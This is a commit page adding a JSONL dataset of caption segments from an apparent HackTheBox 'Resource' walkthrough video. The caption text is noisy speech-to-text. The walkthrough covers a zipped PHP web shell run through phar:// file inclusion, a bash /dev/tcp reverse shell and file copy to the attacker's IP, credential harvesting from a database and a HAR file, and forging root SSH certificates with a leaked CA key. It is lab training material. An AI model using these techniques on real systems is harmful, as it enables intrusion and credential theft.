k3nn3dy commited on
Commit
9cc18ec
·
verified ·
1 Parent(s): 5942b36

Add HackTheBox_-_Resource.jsonl

Browse files
Files changed (1) hide show
  1. HackTheBox_-_Resource.jsonl +66 -0
HackTheBox_-_Resource.jsonl ADDED
@@ -0,0 +1,66 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {"text": "what's going on YouTube this is IP I'm doing resource from hack the box and my favorite thing about this box is how it showcases the use of a certificate authority to sign SSH public keys for authentication which is just a cool way to manage SSH Keys as not only does it eliminate having to manage a 100 authorized key files but also lets you assign expiration times on keys so if you wanted to give someone access for a day a week a year whatever you can do that um but back to the Box there's two implementation showcased once you exploit a web app you land on a doc container and discover a old certificate Authority file and they say it's the Legacy Way right there's no principal file so you just have to use this CA file to sign keys if you sign it as root then you can log into the docker as root once you do that and enumerate the", "start": 0.12, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
2
+ {"text": "container you discover a web API that is used to sign keys with the new ca however the um web API is prohibiting you from signing keys that allow root access but once you get onto the host box you can discover there is a pseudo script that has a vulnerability that allows you to read the root ca's um file one bite at a time so you just create a sample program to xfill this file then you can sign a key that lets you in as route so with that being said let's just jump in as always we're going to start off with the end map so- SCC for default scripts SV numerate versions - VV for double boost this gives us things like the TTL OA output off formats put the N map directory and call it resource then the IP address of 1010 11.27 this can take some time to run so I've already ran it looking at the", "start": 42.48, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
3
+ {"text": "results we have just three ports open the first one being SSH on Port 22 and the banner tells us it's a Debian server and now the interesting thing is we also see the TTL is 62 where the other ones are going to be 63 so this box is one extra hop away most likely it's going to be running doer lvm or something like that um the next Port we have is HTTP on Port 80 that is running on engine X and it tells us it is Ubuntu and based upon the TTL this is probably going to be the host and this is running Ubuntu the virtual environment is running Debian so little bit interesting there um the end map script is telling us the uh web service is R redirecting us to itrc sg. htb so let's go ahead and add this to a host mod so Pudo VC host and then we can add 1010 1127 put this in and then the last one we have is SSH on Port quad 2 this one is a Ubuntu host", "start": 86.159, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
4
+ {"text": "and the TTL is 63 so um we do have two SSH servers um it looks like the one on Port quad 2 is going to be the host where the port on just 22 is going to be a virtual environment um so nothing really important there just something we have to keep in mind like if we get credentials to try both of them um if we take a look at the website now we get the uh Banner that says welcome to the SSG it resource center and we can register and log in but the very first thing I always like doing is trying to fingerprint the web application and I like doing that by like looking at the cookies and things like that the page sends um we can see the cookie PHP sesh ID so this is most likely going to be a PHP web server since it's giving us the default PHP cookie right um looking at the other headers we see X powered by PHP 8129 and we could look at like PHP", "start": 145.12, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
5
+ {"text": "release notes so if I turn my intercept off go to like PHP release notes uh go to the probably the change log would be a good one and then look at like 812 9 we can see this is June 2024 which is around the time the Box release so it is a fully upto-date PHP um version the next thing that was interesting let's see we have a expires and we see a date way back in time Thursday 19 November 1981 so this is just probably telling us um the page has no caching right um when I see dates set like this sometimes I think maybe there's no framework at play so larvel or Cake PHP is not in uh Play Because Frameworks generally handle this for you and most time when they handle it um it doesn't go back this far sometimes it does the other indication that no framework is at play is just based upon the cookie larvel and Cake PHP um all", "start": 197.04, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
6
+ {"text": "the other Frameworks have their own like cookie name and you normally don't see PHP session ID so just going off the bat I'm thinking this is just a PHP app that just has um hand jammed code it's not like WordPress things like that just based upon cookies we could look at like four or four error messages to see what's here this is just going to be the um oddly an Apache error uh the repeater serers engine X but we get a Apache error okay so it looks like this is telling us probably there's going to be some type of proxy pass at play right because if we looked at end map we see the TTL is 63 and um if we look at this error this is Apache this header is coming from engine X so it looks like we hit the engine X server on um the box and then it proxies us over to most likely the docker container which is running Apache and since we talked to engine X first", "start": 255.84, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
7
+ {"text": "that's the thing that has full control over the headers so that's why we see the server header is engine X but the error here is Apache um again not really that important it's just things to keep in mind when you're looking at an application right so let's take a look at what else the application does so we had a functionality to register so let's try registering an account so we'll do IPC and a password of password and we get registration successful so let's try logging in and it lets us create tickets so let's do new ticket and the other thing I'm noticing is we have this page is equal to and this is common with like local file inclusions but we'll get into that in a second I just want to create a ticket real quick we'll do just a ticket with some um like HTML in it so if we see it bold we know we have potential", "start": 323.24, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
8
+ {"text": "crossy scripting right and it doesn't look like we have any we can try to add a comment here and again we see this reflected back to us so it's not um cross- a scriptable we could try cross a scripting potentially like in the username so if we logged out registered a new user we could try it there I'm not sure if that'll work let's just try it um let's do password of password again registration successful and let's see I guess we have to create a ticket where is my username subject okay there we go so no cross scripting there either uh let's see so we have this page is equal to ticket and most the time when you see something like this let's put it in burp s so the font is a little bit bigger there we go so most of the time when you see page is equal to and then a name um this is just getting a page off", "start": 372.72, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
9
+ {"text": "the box right it's probably app pending. PHP and including um the page here so we can test this out if we do ticket. PHP uh we just get window location is equal to SL so it served up a page if we had something that didn't exist we get a 404 page right so we know there are um p PES here if we go admin we actually get a page as well um let's see what's another thing index so we get the index so if we do page is equal to like this index.php we just get a page here let's see we just do index we may actually want to show this in the browser because the so if I do page is equal to index we get nothing if we do page is equal to does not exist we get my tickets so if we get something here it's going to include tickets if the page does not like by something I mean like if the file does not exist it includes my tickets but if the file does exist um it doesn't", "start": 430.56, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
10
+ {"text": "right so this is a good way to identify um I don't know exactly where I was going with that uh I guess if we can do like a PHP filter this isn't going to work because if you do a PHP filter to try to um leak the source code and there's something that test if a file exists or not before it includes it it's not going to show it right so if we do PHP filter convert. base64 incode resource is equal to index because the page is going to append thephp for us we just get my tickets and that's because it's taking this parameter seeing if the file exists if the file does not exist then it treats it as a for forign displays file tickets um my tickets and this PHP filter isn't going to be a file exist it's just a weird PHP ISM so even though like the resource index.php exist the call to does file exist fails on this", "start": 502.479, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
11
+ {"text": "um we did have admin.php if I go to page is equal to admin we can see admin tools if we go here we can also see a listing of all the tickets so see SSH access if we try to click this one um we get unable to retrieve ticket if we look at what request is being made there let's see it's just going to page ticket ID is equal to three so um it looks like they are checking if we're like owner of that ticket or something like that so let's go back to that page is equal to admin look at the other functionality so we have this check if server is up so let's try intercepting this request so we do 10 10 14 8 click go it's doing method or mode ping and then 10148 so we could try um a TCP dump so pseudo TCP dump - I t0 icmp send this and we can see the server does ping us and ping um requires a special capability right if I do a get cap on user bin ping we can see ping has", "start": 559.48, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
12
+ {"text": "the cap net raw which allows um ping to work um most of the time like PHP and those other binaries won't have this capability so they can't do ping so because it needs the capability most likely there's going to be like a system call around this right so it's not just PHP code that's doing the Ping they do like os. system and then exact ping and when they do that it can lead to command injection right so this is a common one to test for command injection we do a dollar sign we get invalid host a single quote invalid host so it looks like all the like dangerous characters are invalid host I wonder if we can do um host names right so let's try Local Host it looks like we can if a host doesn't exist we get that weird debug parameter but this is functional let's try again special characters with the H name and it looks like they do have um", "start": 626.32, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
13
+ {"text": "decent filtering here right we could try like inserting a line break as well and we just get internal server error probably because we broke Json um if we do like a back tick we get invalid host so uh let's see the next thing we could try is changing the content type and doing some type of type juggling because when I tried to do a line break here um we broke Json completely right but if we do change this to what is it um HTTP post request content type proba have to turn intercept off I forget exactly what it is content type it's like octet something let's see content type application Json I wonder if we have something in our history wow we went to developer Milla a lot API register there we go this is what I want xwd this is the content type I wanted so we could try putting it like this and then we want is equal to pay", "start": 683.839, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
14
+ {"text": "and host is equal to Local Host and see if the application still works it does not so it's um not letting us do other content types and I was just thinking we may be able to smuggle a line break easier this way I don't know if you can but it's just like what I would try and since I've tested everything I know about right now I'm going to move on to the next field because that may just not be vulnerable right um tested what I thought did a little bit of type juggling to see if there's like a another Avenue I could research to see if I could smuggle in line breaks if it wasn't Json can't so let's now test provision ad user so if we go here and try this um we just get success true and we always get success true unless we break Json with something like a uh backslash because backslash is escaping this quote", "start": 753.279, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
15
+ {"text": "if we did a double back slash then that's fine but I can't figure out exactly what this does um no matter what we do it's saying true if we do a user that exist um like IPC it still says true so I don't know exactly what this field does we could try sending this to fuff and see if there's any extra modes we could try fuzzing right if we just did um user provision and had nothing it would be success true so maybe if we had like a secret function here it may respond with data like not a 500 error and we know um we could do something right what if we did Ping right so both ping and user provision does give a 200 so that could allow us to enumerate um hidden functions but I don't think there are any so I'm not going to waste time with showing you fuff it's just something you like I would normally look at right especially", "start": 809.56, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
16
+ {"text": "because we see this provision H uh user SSH is disabled so there could be like an extra function hidden behind this right um if we inspect what goes does let's see this this going to be quick to show um let's see that's disabled where is this one Buton provision type I can't see the HTML that's telling us this goes to user proov um for provision user we could probably see what this mode would be if we just looked at the HTML enough but nothing too interesting there I want to go back to create tickets right because we just tried creating a ticket with um cross- Aid scripting but it did allow us a file upload and remember we do have a local file inclusion we just had to be able spe specify a page that ends a file that ends in PHP right and this is telling us it wants us to upload zip archives so if", "start": 859.44, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
17
+ {"text": "we give it a zip archive we can tell PHP to go inside of that zip and access a file so let's do this real quick I'm going to do V CMD PHP and let's just create a quick um PHP script so we'll do system request CMD like that there we go and then we want to zip this up so we do zip CMD do zip like this and then we can browse and we want to attach this so htb resource and then CMD doz upload or create ticket and if we go to a ticket we can see we have uploaded this file and if I copy the link we can put that here and the one thing I want to test real quick is how this is being generated because we see this hash and this is going to be the file name right so before you even try like the um local file inclus U include attack I want to see if we can guess file names so we look at that it's 40 characters which is going to be a Sha one sum so what I want", "start": 922.639, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
18
+ {"text": "to do is say eo-n CMD doz sha one sum and that's 22f let's get rid of that dasn 53 if we did sha one sum of the zip file itself we get that so we have identified the logic on how it's creating um the file names and it's not going to be use to us um if it was just based the file name and not the file contents then get a list like um Ras small words right and then a pen. zip to everything sha one Summit and then send to a doorbuster right and then if anyone uploaded a zip um to that SL uploads we'd potentially be able to download it because we just know the file name right so that attack doesn't work but we could potentially abuse the lfi so let's go back to where that was do we have it here page is equal to index so we want to go and grab this page so if we do page is equal to this and then we can just treat this um zip as a folder and say", "start": 991.36, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
19
+ {"text": "CMD and we can do probably we can try zip first and see if that does anything we get the default page so this didn't work this is just showing us the ticket so we know the file did not exist another common wrapper is going to be the far and if we do that let's see we still oh we get a undefined key CMD in this so this one actually executed right so if we now try um and CMD equals who am I we can see we have successfully executed code so let's send this over to a post request or see if we can because it's a bit easier to get a reverse shell in a post request um you could do it in get but I just like doing in post because it's a little bit easier so if we try this are we going to get an error message no we have the ticketing there so even though this is a post request we can still send parameters this way and", "start": 1070.559, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
20
+ {"text": "even if the code is saying like a get request like if the parameter is get like this or it would be paid right and we sent a post because we put the page in the get parameter this request is still going to pull it so let's test this out we can see warning there we go so we can do CMD is equal to let's do bash DC b-i Dev TCP 10148 90001 0 and one like that and then we will URL encode this and then we want to start up a listener so nclv NP 91 send this request and the page is hanging which is a good sign because we got a shell so let's try python 3- C import PTY PTY spawn bin bash and Python 3 is not found um which Python 3 nope um let's see which script script does exist so this is another way we can get a good TTY we're going to say this shell is going to be bin bash otherwise it's Just sh and becomes slightly a pain so we do shell is equal to bin bash to set the environment and then we do script DQ", "start": 1131.28, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
21
+ {"text": "devnull and now we can do the normal thing stty raw minus Echo for ground and then export term is equal to X term so we can clear the screen and we have tab autocomplete and everything like that so um with the shell on the server the first thing I like is doing is looking at the database right because the database is going to have some type of credential we have the username of JJ and this password so we probably should um take note of this maybe Run net exec on SSH and try logging into both host but um that doesn't really get us anything so I'm not going to waste the time I'm just telling you those are the type of things I would be doing as I'm solving the box right so let's do MySQL - jj- p and put in the password uh we can't connect to to the host the host is going to be DB there we go and then the database name is Resource Center so let's do use", "start": 1211.679, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
22
+ {"text": "Resource Center show tables and we can select star from users and we see a bunch of hashes right so we could um export this send it over to hashcat and try cracking um none of that um cracks well we could also um update the passwords of user so we could change ZZ enter to be our password then we can log into the web application as admin and see if there's anything but I'm going to show um a different way to impersonate users in just a minute so I hate making changes to the databases because that's not really obsc friendly you can really screw things up um when there's safer ways you should always opt for the saf way right the other thing I would do uh we could do show tables select star from tickets and look at all the tickets and get all the data out again we could read the tickets here but", "start": 1269.12, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
23
+ {"text": "I'm going to show a slightly different way right we have tickets and it's pointing us to various upload files but it's not really a um userfriendly way to read these messages from SQL dump right I would definitely run this query save it to my box and so I have it but then I'd go and try to find a safer way and the safer way is going to be just editing or PHP session on the server right so um we do SLT most likely it's going to be we can find where the PHP sessions are so we see the PHP session there and let's go back over to our browser and I'm going to remove our session so let's go storage let's delete this and then let's refresh the page so we should get a new cookie right there we go so cookie is going to be d8 C1 so if I cat sess d8 C1 it's blank um do we have a cookie that has data so I'm just going to copy this", "start": 1320.84, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
24
+ {"text": "session the e0 to cess what was it this and we should fix our um lines so stty d a 28110 stty row 28 call 110 so this way I can just have my cursor go all the way to the end and it doesn't like wrap around like you just saw it do there right so if we now C our session our session shows us logged in as um test so if I refresh the page we're now logged in as test so what we could do is edit this session if we try to edit it to be one real quick we write it we get a weird error fail to decode session object and looking at this um it's probably because um how PHP works this is going to be username saying I guess string of 11 and this is 11 characters roll string four uh four characters then we got ID string two one character so we want to change that to be one right and then we refresh it's errors out and the reason this is happening is", "start": 1390.559, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
25
+ {"text": "because Vim is adding a line break at the end right so if I just do um let's Echo dasn nothing to test right and do lsla on test we see at zero bytes so lsla test down here if we v test we're not going to go in input mode or anything I just write right and now I look at it oh it's still zero I thought it'd be one um xxd test do we have any data we don't maybe my Vim is set up slightly differently this is adding a line break um let's see there's got to be a good way to show this let's do n cvnp 901 send the shell oh my session ID is dead there I think okay well that sucks so Vim is adding a line break I believe I'm not positive but if I do set binary so that will disable it um I think you can like also set um end of line or something off but just doing set binary then we write it we go back to the page refresh and", "start": 1471.52, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
26
+ {"text": "it's no longer doing thing where it kills our um session right we just don't have any tickets what's going on this is it from the future and after recording the video I figured out what the mistake was why um I couldn't show it and Vim only adds that um End of Line after um it writes content to a file so if the file is blank to begin with it's not going to add that if we just put a single character in now we see it wrote two characters if we xxd it we have z a which is going to be the um maybe it's not end of line maybe it's end of file I fig exactly what z a is if we do man asky uh 0a um yeah it is new line so it adds that new line if it writes content to the file um if we set the mode to Binary sometimes this will stop it as you see on my host though it's not stopping it it still wrote that new line right uh we could kill this file remove", "start": 1556.76, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
27
+ {"text": "test Vim test set binary and then write a character and it still wrote it um as you'll see on the target all I had to do was set binary I think it's based upon like Vim version um there is also a no EOL which means no end of line so if we set this and then I write the file we xxd it it no longer writes that z a so that is the behavior I was trying to show um let's get back to the box where we were editing the cookie to change our ID to be another user so let's try session ID is equal to two save it refresh and now we can see SSH key signing broken so we got a ticket here um admin panel is supposed to allow me to get signed certificates but it just isn't working and we see ZZ interest saying upload the her file and this user attaches it right and the her file is a um browser diagnostic file I guess I should say and we'll go into this in a minute but let's just save this real quick", "start": 1613.12, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
28
+ {"text": "htb resource um M wrist. her man I probably butchered that name but what else were we looking at let's go back here we changed it status to all nothing if I put this back to one and we look at all tickets Force to save open all there we go we got decommission old um SSH server so we can see main real is saying the new system super flaky it won't work um old certificates have been taken out of etsy I've got the old signing SE secured the server will trust both old and new for some time until we work out issues so they're doing something with um certificates right or SSH certificates to be specific um so that's just something to keep in mind but hopefully you enjoyed like the whole like editing the session ID to change users right um the other thing we could look at again we already downloaded the file but if you didn't play with the sessions if you look just in the uploads directory you'd have a", "start": 1682.76, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
29
+ {"text": "bunch of Zips and you can do like unzip DL um specify the zip and you can get the har file this way right so we see the same file we downloaded we can get this way as well um and if we look at this this is a zip I know it's zip because it says PK that's the magic bites for that so we should move this to be M Saint I'll just call it test.zip let's unzip it and we have the her file and this is just going to be Json data right and um what a har file is really is it captures a lot of just browser session data for debugging purposes right um this was in the I think it was the oak to breach right so if Google Oak to breach her there's a good reading on just like the background of it essentially they um some unauthorized user got access to her files that people are using to troubleshoot OA and then some sensitive information was included in", "start": 1762.159, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
30
+ {"text": "the her file that allowed them to access other services right so if we just went to Google and did like online our analyzer I think we have a nice goey where we can analyze it so let's go htb resource specify the her file and we can see what it looks like right so we have the pages and if we don't really know how to use this well so we can see like all the pag it gets is getting CSS um if we click on something we can see information about the request the response Etc right so we can filter out things um terms of filter by we could say post maybe and show us Post request but this is what a file is it's so they can get um information about it this is showing like how long it takes to load pages things like that but all we're concerned about is sensitive data being in it and when searching through sensitive data I like just using command line utilities because tools like GP are", "start": 1834.519, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
31
+ {"text": "just so good right we could just g- I pass on the her file gives us a lot of data but this one is a super long line so if I just piped it to like less- capital S to disable line wrapping we can see it only mashed on four lines and the very first time it matched it includes the username and password so why is this actually exist in the horror file in the first place well to understand that we have to kind of look at exactly the format right so we see this is just Json data it starts with log then we have pages and we can see page five page six page seven page eight and then we get entries right and this entry is off of page five so why we have a lot more entries than Pages because page could load a lot of things right this is just getting the title um you got the CSS the JavaScript everything here right in the pages it's just think of it like a tab right um", "start": 1903.399, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
32
+ {"text": "this would be one page but it probably downloaded images um maybe it didn't download images because there no images on the page but that's not cons like the image is not considered part of the page but it would be part of the request so maybe ID like maybe request 5 request 6 request 7 may make more sense to you but we can see we go here we got login we got API login so I bet if we looked at page seven right let's see login we go down to the entries we can see all the headers associated with that request and then the cookies and then post data and then the text so the reason why the password showed up is because it's logging post data um header could also be sensitive like if they're using some type of API and it puts some um like Bearer token I think that's how the oaka breach was there was a beer token in the header and that was included in the her file right but the her file just includes a lot of", "start": 1958.96, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
33
+ {"text": "sensitive information and if you didn't want to manly PR it you could always use a tool like JQ so what I would do is JQ Dot and then let's see we want to go into the entries right there's probably log. entries there we go and then we see we're in a list so I'm going to do open and close and then what we want probably post data let's see where is post so we're in the entries then we probably want to go into request and then so we do entries request and then post data and we can see all of this right and if we wanted to we could also like just see all the post request itself so we do entries like this and then we do- C it's going to put it in Compact and it puts every entry just on one line so if we now grip for post and all capitals this is going to show us all the post requests right there are three post requests in this so then we can just now pipe this back to JQ and then", "start": 2021.799, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
34
+ {"text": "we can see all the post request in this uh could go back post request what was it um request post data right we can see it this way but I would definitely um get familiar with JQ because knowing this tool just helps so much when you start filtering out data but we see a username and password so let's try um SSH 1010 1127 and we need to specify the user and this doesn't work then I try on Port 2222 to go to the host um I probably should try it on both anyways um let's see copy paste there we go and we get logged in um it doesn't work against Port 2222 we can show that real quick s m z rtil at 10 10 1127 at least I don't think it works right no okay so we get logged in and the very first directory we see is this decommission old CA and if we look at it we have uh CA ITC and CA Pub right and", "start": 2094.599, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
35
+ {"text": "if we look at this ticket um old certificates have been taken out of etsy I'm guessing he's talking about the host system here um This Server will trust both old and new for some time so the server that we're on May still Trust this decommission CA right so the way we can check is go into Etsy SSH um we want to go into the directory then shd config probably and we can see SSH shirts.com and this line right here is going to allow the um a certificate authority to sign public keys and let them log in through SSH it's a really cool thing um so let's look at this file and that's just in the Etsy SSH directory we saw it right there so if we C this file we have the public or two public keys this is probably going to be the new one I'm saying new just because it's using a newer um algorithm the ed25519 one this is just using RSA but we have this long key right and", "start": 2172.52, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
36
+ {"text": "if I go into the decommissioned CA and we cut this wh not that one the pub that looks very similar to the one in SSH so if we cat this so a AA it ends with s equals um I already copied that in my clipboard so we could also just grap paste this against the CIT rc. Pub and see it's a direct match so the SSH server is still trusting um this CA certificate so I'm going to copy the private key down to my box and then we're going to assign a public key with it and see if we can log in right so I'm going to copy that let's go back to my box here and let's see we can do makeer um I'll do old CA and then let's generate a key so we do s key gen let's use the new um signing algorithm just because it makes for easier things to copy and paste cuz it's small um I'm going to call this going to create a certificate with root there we go so let's V old CA paste", "start": 2238.48, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
37
+ {"text": "this in and if I just try sh- I root root at 10 10 11 27 it doesn't work right because we just made this key ourselves so what we want to do is um sign it if we do s key gen and look at the manual page we can see let's see probably right here sh key gen-i is going to be the certificate identity then ca key the N is going to be the Principal this is going to be the username the validity interval is pretty cool um we could set a interval so like the key expires in 10 minutes so you can give someone SSH key and then would just automatically expire in 10 minutes so um you don't have to go back in the host file and remove it but let's do this we will start off with um s key gen and then- S old CA this going to use the specificate authority then we do DN for the principal so we'll do root um I'm going to do a validity interval just so", "start": 2317.96, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
38
+ {"text": "we can see it I'm going to say 5 minutes and we'll do 42 weeks and let's see uh the next thing we do is the certificate name which is root. Pub um invalid so we do plus 42 weeks so we can add that and we need the I this was the um identifier and this doesn't matter so we'll just call this IPC real quick and we have to chod 600 on Old CA there we go and there we go we have signed the root cert. Pub um ID IPC so we can do sh key gen- capital L is going to list and and then file we'll do ic. Pub I think or maybe it's IPC it created the daser right root. Pub not a certificate roott there we go so if we look at the certificate we can see it's valid from 5 minutes ago to 42 weeks right and the principal is going to be root if we wanted to we could have also um done like forever here and then if we do that", "start": 2381.599, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
39
+ {"text": "again we can see valid and it just says after right because there's no end date so let's see um we can leave that that's fine so let's try sshing now so we do sh- I root and then specify root there and it lets us log in now the same key we tried just a couple minutes ago it's now letting us in because um it uses the pub key it doesn't say let's see if we do a-v it probably will let's see do we see uh remote sirt accept I'm not exactly sure how to see it in the SSH output um maybe it just right here H key algorithm ecda cert V 01 um I think this is going to be us setting the signed thing right so that lets us log in we are now root on this container if we do a LS there's nothing here if we go into home uh we can now access ZZ enter so if we look at his directory we got user. taxt and then there's also this sign key api. sh and", "start": 2460.76, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
40
+ {"text": "if we look at it it is just a bash script um we got supported principles here so we got web server analytics support security and if we look it's just going to do a curl against sign serve SSG htb and then sends information so I'm going to add this to my H file I'm going to just run the script locally because that's going to let me um edit it a bit easier and it will also like make it easier to view exactly what's going on so let's do a makeer I'm going to call this ZZ enter and then we will copy the script uh let's just cat it over instead of copy and paste n cvnp 901 I'll call it sign. sh and then we can C this file pipe it over to Dev TCP 101048 901 that sends the file over to us and now we can just um edit it and I'm going to add a-x and this is going to be U proxy right so we do Local Host 8080 and now", "start": 2535.2, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
41
+ {"text": "this script is going to send us send it through burp Suite right so if we just look exactly what it is um usage we got the public key the username and principal and right here it sets the ifs this is internal field separator I believe as um comma so this is like doing an a split on comma and that Loops over each word in this and make sure we choose a principle that's web server analytics support or security and then it sends the pub key okay so let's do another key gen real quick um T ed25519 and we want to give it the file name um I'll give it ZZ enter I guess it's really confusing the file names because we sign it it gets a principal name and um we don't exactly know what the principal name is until after we sign right so let's do bash sign ZZ enter. Pub um test test not a supported principal let's do test support and did that even go through", "start": 2607.52, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
42
+ {"text": "burp Suite it didn't probably did but stop so we can see we do Pub Key username and principal so if we do username of test principle of support we get a key back and let's see CD ZZ enter we want to make this key so we call it vzz -.", "start": 2679.559, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
43
+ {"text": "Pub paste this in and then sh key gen- L we've got the- F we can see the principle on this certificate is support so if we try sh- I ZZ enter support at 1010 11227 or not 227 27 we get password um let's do the actual host remember there's two SSH servers so I do Port 2222 and this lets us log in so now we are the support user um if we go to Etsy SSH and we see a new directory here this is off principles if we look at sshd config we got SSH shirts here and this one's slightly different right we have the trusted user Casa and if we C this this is going to be the new key so this is why that old certificate did not work on the host because um the new server or the host server only trust this new key the old one if we go back to here sh shd um we have to C this pub file real quick this is the old web server right", "start": 2711.48, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
44
